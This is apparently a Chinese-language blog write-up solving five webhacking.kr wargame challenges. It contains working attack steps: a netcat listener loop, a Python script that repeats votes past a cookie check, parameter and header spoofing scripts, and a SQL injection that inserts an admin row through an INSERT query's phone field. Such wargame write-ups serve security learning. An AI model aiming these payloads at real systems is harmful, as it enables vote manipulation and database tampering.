webhacking.kr 一天五題系列 VII

Albert Huang MED student | CS enthusiast

old-31

本題考點:open port with public ip

這題題目就給了 source code:

1
2
$port = rand(10000,10100);
$socket = fsockopen($_GET['server'],$port,$errno,$errstr,3) or die("error : {$errstr}");

所以我們需要一個公網 IP 來接收 10000~10100 隨機一個 port 的內容,我這裡使用 Google Cloud Platform 的 Compute Engine 來實作,如果自己有公網 IP 就可以直接用就好。

設定如下:

  1. 設定防火牆:VPC 網路 -> 防火牆 -> 建立防火牆規則
  • 名稱:allow-ports
  • 流量方向:入站 (Ingress)
  • 對符合條件的目標執行動作:允許 (Allow)
  • 目標:網路中的所有執行個體。
  • 來源 IPv4 範圍:填入 0.0.0.0/0(允許所有來源)。
  • 指定的通訊協定和通訊埠:勾選 TCP,並在旁邊的格子填入 10000-10100。
  1. 在 machine 中執行
1
for port in {10000..10100}; do nc -lvnp $port & done

填入 machine 的 public ip 後重整頁面就會收到 flag 了。

old-32

本題考點:COOKIE 限制繞過

進到題目之後會看到一個排行榜,點擊之後數字會 +1,看起來是個投票網站,並且可以找到自己的名字。但在投票一次之後再次投票就會彈出 you already voted,看了一下 cookie 確實增加了一個 vote_check=ok 的選項。

因此我們可以用程式來讓每次點擊都是新的頁面,這樣就不受新增 cookie 的干擾,重複點擊 100 次即可過關。

1
2
3
4
5
6
7
import requests

cookie = {'PHPSESSID': 'p2ls7us8hd4eh5u81hkvuq7j8c'}
url = 'https://webhacking.kr/challenge/code-5/?hit=M3t30r'

for i in range(100):
r = requests.get(url, cookies=cookie)

執行完之後重整頁面即可。

old-33

本題考點:網頁參數與環境變數設定、Time-based MD5 Synchronization

直接來看 source code:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-1<br>
<a href=index.txt>view-source</a>
<hr>
<?php
if($_GET['get']=="hehe") echo "<a href=???>Next</a>";
else echo("Wrong");
?>

看起來有很多關,第一關要讓 get=hehe,輕鬆通過。來看第二關:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-2<br>
<a href=lv2.txt>view-source</a>
<hr>
<?php
if($_POST['post']=="hehe" && $_POST['post2']=="hehe2") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

這次要用 POST 送,用 curl 來完成即可。

1
curl -d "post=hehe&post2=hehe2" https://webhacking.kr/challenge/bonus-6/<>.php

送出就可以看到下一關的連結,一樣來看 source code:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-3<br>
<a href=33.txt>view-source</a>
<hr>
<?php
if($_GET['myip'] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

一樣蠻簡單的,把 myip 設定成自己的 IP 即可。下一關:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-4<br>
<a href=l4.txt>view-source</a>
<hr>
<?php
if($_GET['password'] == md5(time())) echo "<a href=???>Next</a>";
else echo "hint : ".time();
?>

我們的 password 要等於當下時間的 md5 hash,但時間必須一樣所以用手算一定來不及,寫個程式解決即可。

以 Python 實作:

1
2
3
4
5
6
7
8
9
import requests
import hashlib

r = requests.get('https://webhacking.kr/challenge/bonus-6/<>.php')
hint = str(int(r.text.split('hint : ')[1]))

password = hashlib.md5(hint.encode()).hexdigest()
r = requests.get(f'https://webhacking.kr/challenge/bonus-6/<>.php?password={password}')
print(r.text)

執行就可以拿到下一關的連結了,再來看 source code:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-5<br>
<a href=md555.txt>view-source</a>
<hr>
<?php
if($_GET['imget'] && $_POST['impost'] && $_COOKIE['imcookie']) echo "<a href=???>Next</a>";
else echo "Wrong";
?>

這次 GET、POST 和 cookie 都要,一樣用程式解決:

1
2
3
4
5
6
7
8
import requests

cookie = {"imcookie": "1"}
data = {"impost": "1"}
param = {"imget": "1"}

r = requests.post('https://webhacking.kr/challenge/bonus-6/<>.php', params=param, data=data, cookies=cookie)
print(r.text)

來到第六關:

1
2
3
4
5
6
7
8
<hr>
Challenge 33-6<br>
<a href=gpcc.txt>view-source</a>
<hr>
<?php
if($_COOKIE['test'] == md5($_SERVER['REMOTE_ADDR']) && $_POST['kk'] == md5($_SERVER['HTTP_USER_AGENT'])) echo "<a href=???>Next</a>";
else echo "hint : {$_SERVER['HTTP_USER_AGENT']}";
?>

一樣蠻簡單的,把 cookie 跟 POST 的參數設定好即可,而且也有給 hint,先去拜訪一下就知道 kk 要填甚麼了。

1
2
3
4
5
6
7
8
9
10
11
import requests
import hashlib

# r = requests.get('https://webhacking.kr/challenge/bonus-6/gpcc.php')
# hint = str(r.text.split('hint : ')[1])

cookie = {"test": hashlib.md5(b'<ip>').hexdigest()}
data = {"kk": hashlib.md5(b'<User_Agent>').hexdigest()}

r = requests.post('https://webhacking.kr/challenge/bonus-6/<>.php', data=data, cookies=cookie)
print(r.text)

繼續看下一關:

1
2
3
4
5
6
7
8
9
<hr>
Challenge 33-7<br>
<a href=wtff.txt>view-source</a>
<hr>
<?php
$_SERVER['REMOTE_ADDR'] = str_replace(".","",$_SERVER['REMOTE_ADDR']);
if($_GET[$_SERVER['REMOTE_ADDR']] == $_SERVER['REMOTE_ADDR']) echo "<a href=???>Next</a>";
else echo "Wrong<br>".$_GET[$_SERVER['REMOTE_ADDR']];
?>

一樣是個字串置換的例子,但他是把 server 的 REMOTE_ADDR 拿去置換,所以我一樣送出沒有 . 的 IP 即可。

1
https://webhacking.kr/challenge/bonus-6/<>.php?no.myip=no.myip

來看第八關:

1
2
3
4
5
6
7
8
9
10
<hr>
Challenge 33-8<br>
<a href=ipt.txt>view-source</a>
<hr>
<?php
extract($_GET);
if(!$_GET['addr']) $addr = $_SERVER['REMOTE_ADDR'];
if($addr == "127.0.0.1") echo "<a href=???>Next</a>";
else echo "Wrong";
?>

超級簡單,設定 addr=127.0.0.1 即可。

第九關:

1
2
3
4
5
6
7
8
9
10
11
<hr>
Challenge 33-9<br>
<a href=nextt.txt>view-source</a>
<hr>
<?php
for($i=97;$i<=122;$i=$i+2){
$answer.=chr($i);
}
if($_GET['ans'] == $answer) echo "<a href=???.php>Next</a>";
else echo "Wrong";
?>

看起來也蠻簡單的,寫個程式把 answer 找出來送出即可。

1
2
3
4
5
6
7
8
import requests

ans = ''
for i in range(97, 123, 2):
ans += chr(i)

r = requests.post(f'https://webhacking.kr/challenge/bonus-6/<>.php?ans={ans}')
print(r.text)

來到第十關:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<hr>
Challenge 33-10<br>
<a href=forfor.txt>view-source</a>
<hr>
<?php
$ip = $_SERVER['REMOTE_ADDR'];
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
$f=fopen("answerip/{$answer}_{$ip}.php","w");
fwrite($f,"<?php include \"../../../config.php\"; solve(33); unlink(__FILE__); ?>");
fclose($f);
?>

我們只要算出 IP 和 answer,拜訪那個 php 即可過關,直接用 php 解決:

1
2
3
4
5
6
7
8
9
<?php
$ip='<myip>';
for($i=0;$i<=strlen($ip);$i++) $ip=str_replace($i,ord($i),$ip);
$ip=str_replace(".","",$ip);
$ip=substr($ip,0,10);
$answer = $ip*2;
$answer = $ip/2;
$answer = str_replace(".","",$answer);
echo "answerip/{$answer}_{$ip}.php";

訪問它即可過關。

old-34

本題考點:JS Obfuscation、逆向原始碼

一進入題目就彈出一個 debug me 的視窗,來看一下 source code:

1
2
3
<script>
var a=['RcOhTDV1Ew==','McOVwqpRBg==','c8K/w43DvcK8','SsOrTCF1CVDCgcKLEsKc','NsK/w4Bc','G1TDpwk=','AcKtwqfDlW7Dsw==','e3kkcQJfwoNFDEU9','QMOXDBo=','w5bCsWlh','eWY6bg8=','FnbDoEvDtl1LUkB7w4Q=','esOZTiPDsg==','bzfCkFfCtA==','ZmzDjHcn','PxLCm3LDvA==','IcKlVy9pw57DgMK3w6kmwpvCiUnDhcOKw4A=','LMKnwqECawEeEMOZQsK7wrLCscKpSG1AwqvDvjnDpMKhOSDCqQfDmVRowo1nwpzCh8OGc1vDv3cKVR/CgMK4w7PCukbCv8O8woNHXcK7SsOmMhHDnUEJw4lsw6g=','wrTDnltl','UMOXHRs=','Tz0lw48=','O8K0w5JcwrA=','w5DCpnx/LA==','HsKrS8KVQw==','dcKvfnkhUQ3DncOFIsOew5lHwr7CjcKYAsOuwrc3UjhfwopNwqwuWcOjw4PDrkIRWAfCnSIdw5jDtsKyWFBMwq4YMQvDhRrCrlBlw71LUR5HGMKwEBs=','w4RAw5xg','RkQSNA==','SsOsQztv','wonDvMOwwow=','wovDlMKvw5nCog==','w73Ch8K5VcK/','wpN7HsOMwpI=','w5/CuMKDacOKPcKoB3jDomQ=','wpnDvMOhwo0=','wp4xwrvDvA==','H1LDrhc=','wo86woHDm37Dow==','woY4wobDmg==','wr/CgMKQNcOo','ecOlUSF2S3fCsMKbGQ==','E3nCrcKe','w5d5w6HDnsOFw7RcRFjDosKsZ8OHEcOv','QMOXDBrCrcKLwp3DvA==','w5fDsiPDrsOf','V3c3A0Q=','E8OjwpNaP1lDTMKXcsO5','G08JPDZMw5s8w4ITw54dEMKAwps=','wo8pwoXDnmg=','wpo5wqvDoMOQw6Jd','bH4+TyM='];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};var g=function(){var h={'data':{'key':'cookie','value':'timeout'},'setCookie':function(i,j,k,l){l=l||{};var m=j+'='+k;var n=0x0;for(var n=0x0,p=i['length'];n<p;n++){var q=i[n];m+=';\x20'+q;var r=i[q];i['push'](r);p=i['length'];if(r!==!![]){m+='='+r;}}l['cookie']=m;},'removeCookie':function(){return'dev';},'getCookie':function(s,t){s=s||function(u){return u;};var v=s(new RegExp('(?:^|;\x20)'+t['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));var w=function(x,y){x(++y);};w(e,d);return v?decodeURIComponent(v[0x1]):undefined;}};var z=function(){var A=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return A['test'](h['removeCookie']['toString']());};h['updateCookie']=z;var B='';var C=h['updateCookie']();if(!C){h['setCookie'](['*'],'counter',0x1);}else if(C){B=h['getCookie'](null,'counter');}else{h['removeCookie']();}};g();}(a,0xa2));var b=function(c,d){c=c-0x0;var e=a[c];if(b['clOwyu']===undefined){(function(){var f=function(){var g;try{g=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(h){g=window;}return g;};var i=f();var j='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';i['atob']||(i['atob']=function(k){var l=String(k)['replace'](/=+$/,'');for(var m=0x0,n,o,p=0x0,q='';o=l['charAt'](p++);~o&&(n=m%0x4?n*0x40+o:o,m++%0x4)?q+=String['fromCharCode'](0xff&n>>(-0x2*m&0x6)):0x0){o=j['indexOf'](o);}return q;});}());var r=function(s,d){var u=[],v=0x0,w,x='',y='';s=atob(s);for(var z=0x0,A=s['length'];z<A;z++){y+='%'+('00'+s['charCodeAt'](z)['toString'](0x10))['slice'](-0x2);}s=decodeURIComponent(y);for(var B=0x0;B<0x100;B++){u[B]=B;}for(B=0x0;B<0x100;B++){v=(v+u[B]+d['charCodeAt'](B%d['length']))%0x100;w=u[B];u[B]=u[v];u[v]=w;}B=0x0;v=0x0;for(var C=0x0;C<s['length'];C++){B=(B+0x1)%0x100;v=(v+u[B])%0x100;w=u[B];u[B]=u[v];u[v]=w;x+=String['fromCharCode'](s['charCodeAt'](C)^u[(u[B]+u[v])%0x100]);}return x;};b['wxbdQn']=r;b['ZjQald']={};b['clOwyu']=!![];}var D=b['ZjQald'][c];if(D===undefined){if(b['XvSLaK']===undefined){var E=function(F){this['swkpev']=F;this['DGOTpS']=[0x1,0x0,0x0];this['zlbdZJ']=function(){return'newState';};this['KCuPKs']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['AnZPoE']='[\x27|\x22].+[\x27|\x22];?\x20*}';};E['prototype']['DCDTIR']=function(){var G=new RegExp(this['KCuPKs']+this['AnZPoE']);var H=G['test'](this['zlbdZJ']['toString']())?--this['DGOTpS'][0x1]:--this['DGOTpS'][0x0];return this['ZjMdYn'](H);};E['prototype']['ZjMdYn']=function(I){if(!Boolean(~I)){return I;}return this['LqSTke'](this['swkpev']);};E['prototype']['LqSTke']=function(J){for(var K=0x0,L=this['DGOTpS']['length'];K<L;K++){this['DGOTpS']['push'](Math['round'](Math['random']()));L=this['DGOTpS']['length'];}return J(this['DGOTpS'][0x0]);};new E(b)['DCDTIR']();b['XvSLaK']=!![];}e=b['wxbdQn'](e,d);b['ZjQald'][c]=e;}else{e=D;}return e;};var e=function(){var c=!![];return function(d,e){var f=c?function(){if(e){var g=e['apply'](d,arguments);e=null;return g;}}:function(){};c=![];return f;};}();var Q=e(this,function(){var c=function(){return'\x64\x65\x76';},d=function(){return'\x77\x69\x6e\x64\x6f\x77';};var e=function(){var f=new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');return!f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var g=function(){var h=new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());};var i=function(j){var k=~-0x1>>0x1+0xff%0x0;if(j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69'===k)){l(j);}};var l=function(m){var n=~-0x4>>0x1+0xff%0x0;if(m['\x69\x6e\x64\x65\x78\x4f\x66']((!![]+'')[0x3])!==n){i(m);}};if(!e()){if(!g()){i('\x69\x6e\x64\u0435\x78\x4f\x66');}else{i('\x69\x6e\x64\x65\x78\x4f\x66');}}else{i('\x69\x6e\x64\u0435\x78\x4f\x66');}});Q();var q=function(){var r=!![];return function(s,t){var u=r?function(){if(b('0x0','hezG')!==b('0x1','A6hd')){if(t){if(b('0x2','G(vo')===b('0x3','K*$C')){q(this,function(){var j=new RegExp(b('0x4','$VvG'));var k=new RegExp(b('0x5','2@LG'),'i');var l=H(b('0x6','k(C)'));if(!j[b('0x7','14cN')](l+'chain')||!k[b('0x8','aEot')](l+b('0x9','ln]I'))){l('0');}else{H();}})();}else{var z=t[b('0xa','$ybZ')](s,arguments);t=null;return z;}}}else{var f=r?function(){if(t){var g=t[b('0xb','C%Xw')](s,arguments);t=null;return g;}}:function(){};r=![];return f;}}:function(){};r=![];return u;};}();(function(){q(this,function(){var D=new RegExp('function\x20*\x5c(\x20*\x5c)');var E=new RegExp(b('0xc','RLUb'),'i');var F=H(b('0xd','iWKi'));if(!D[b('0xe','ho]6')](F+b('0xf','RLUb'))||!E[b('0x10','X!$R')](F+b('0x11','RUTX'))){if(b('0x12','J[i1')===b('0x13','Pa4(')){F('0');}else{(function(){return!![];}[b('0x14','kK4Z')](b('0x15','X!$R')+b('0x16','llaF'))[b('0x17','3R^0')](b('0x18','iUmC')));}}else{H();}})();}());setInterval(function(){H();},0xfa0);if(location[b('0x19','iUmC')][b('0x1a','6]r1')](0x1)==b('0x1b','RLUb'))location[b('0x1c','4c%d')]=b('0x1d','llaF');else alert(b('0x1e','14cN'));function H(I){function J(K){if(b('0x1f','oYXf')!==b('0x20','ho]6')){return J;}else{if(typeof K==='string'){return function(M){}[b('0x21','2@LG')](b('0x22','joDm'))[b('0x23','iUmC')](b('0x24','llaF'));}else{if('thtMU'===b('0x25','Am%6')){if((''+K/K)[b('0x26','RLUb')]!==0x1||K%0x14===0x0){if(b('0x27','2@LG')!==b('0x28','bO4C')){return!![];}else{(function(){return!![];}[b('0x29','RLUb')](b('0x2a','ln]I')+b('0x2b','3R^0'))['call'](b('0x2c','c3hQ')));}}else{(function(){return![];}[b('0x2d','Am%6')](b('0x2e','14cN')+b('0x2f','$ybZ'))[b('0x30','Am%6')](b('0x31','O!T!')));}}else{H();}}J(++K);}}try{if(I){return J;}else{J(0x0);}}catch(P){}}
</script>

用網路上的 beutifier 美化並閱讀一下。因為他一開始彈出了視窗,因此我們來找一下 alert 部分的邏輯,如下所示:

1
2
if (location[b('0x19', 'iUmC')][b('0x1a', '6]r1')](0x1) == b('0x1b', 'RLUb')) location[b('0x1c', '4c%d')] = b('0x1d', 'llaF');
else alert(b('0x1e', '14cN'));

很明顯下面就是 debug me 的來源,而上面似乎比對了一些東西,但最終將 location 設定在了某一處,利用 console 來看一下輸出是什麼:

1
2
3
4
b('0x1c', '4c%d')
'href'
b('0x1d', 'llaF')
'./?Passw0RRdd=1'

看來是在網址後面加上一個 GET 參數,嘗試看看即可過關。

old-35

本題考點:SQLi with INSERT

給了一個輸入位置,來看一下 source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11 style=width:200px>
<input name=id type=hidden value=guest>
<input type=submit value='add'>
</form>
<?php
$db = dbconnect();
if($_GET['phone'] && $_GET['id']){
if(preg_match("/\*|\/|=|select|-|#|;/i",$_GET['phone'])) exit("no hack");
if(strlen($_GET['id']) > 5) exit("no hack");
if(preg_match("/admin/i",$_GET['id'])) exit("you are not admin");
mysqli_query($db,"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})") or die("query error");
echo "Done<br>";
}

$isAdmin = mysqli_fetch_array(mysqli_query($db,"select ip from chall35 where id='admin' and ip='{$_SERVER['REMOTE_ADDR']}'"));
if($isAdmin['ip'] == $_SERVER['REMOTE_ADDR']){
solve(35);
mysqli_query($db,"delete from chall35");
}

$phone_list = mysqli_query($db,"select * from chall35 where ip='{$_SERVER['REMOTE_ADDR']}'");
echo "<!--\n";
while($r = mysqli_fetch_array($phone_list)){
echo htmlentities($r['id'])." - ".$r['phone']."\n";
}
echo "-->\n";
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>

裡面可以看到有一個表單可以填入,並且會被 INSERT 到資料庫裡,而我們最終的目標是讓 id=adminip=<my_ip>,但有 regex 限制,其中 id 不能填入 admin,所以直接填入行不通,但我們可以透過 phone 位置來進行 SQLi,它的 regex 限制如下:

  1. */=-#;
  2. select

可以看到不能使用註解,因此要將括號完全閉合,構造表達式如下:

1
insert into chall35(id,ip,phone) values('guest','<my_ip>',1),('admin','<my_ip>',2)

將 payload 填入即可過關。

  • Title: webhacking.kr 一天五題系列 VII
  • Author: Albert Huang
  • Created at : 2026-06-22 10:06:54
  • Updated at : 2026-06-26 14:08:16
  • Link: https://blog.albert-web.tw/2026/06/22/webhacking-writeup-7/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
webhacking.kr 一天五題系列 VII